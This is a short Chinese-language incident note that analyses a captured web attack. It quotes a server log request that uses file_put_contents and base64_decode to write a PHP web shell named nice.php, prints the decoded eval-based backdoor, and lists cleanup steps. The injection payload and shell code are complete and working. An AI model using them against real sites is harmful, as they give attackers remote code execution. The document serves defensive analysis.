后門語句:
[ 2021-07-21T02:56:30+08:00 ] 136.144.41.223 GET //index.php?m=--><?=file_put_contents('nice.php',base64_decode("
PD9waHAKY2xhc3MgeHsKICAgIHB1YmxpYyBmdW5jdGlvbiBpcCgpewogICAgICAgICRjPSAiICRfUE9TVFtuaWNlXSI7C
iAgICAgICAgcmV0dXJuICRjOwogICAgfQp9CiRjID0gbmV3IHgoKTsKJGIgPSAkYyAtPiBpcCgpOwpldmFsKCRiKTsKcHJp
bnQobWQ1KCJSaW5nbyIpKTsKPz4="));?>
解析:
#在指定文件下添加內容
file_put_contents()
#解碼base64
base64_decode()
#要添加內容的文件
nice.php
#添加的內容
PD9waHAKY2xhc3MgeHsKICAgIHB1YmxpYyBmdW5jdGlvbiBpcCgpewogICAgICAgICRjPSAiICRfUE9TVFtuaWNlXSI7C
iAgICAgICAgcmV0dXJuICRjOwogICAgfQp9CiRjID0gbmV3IHgoKTsKJGIgPSAkYyAtPiBpcCgpOwpldmFsKCRiKTsKcHJp
bnQobWQ1KCJSaW5nbyIpKTsKPz4=
#解碼后的添加內容
<?php
class x{
public function ip(){
$c= " $_POST[nice]";
return $c;
}
}
$c = new x();
$b = $c -> ip();
eval($b);
print(md5("Ringo"));
?>
大概意思就是在nice.php文件中添加上方代碼
處理方案:
掃出nice.php文件 替換或者刪除
屏蔽eval()函數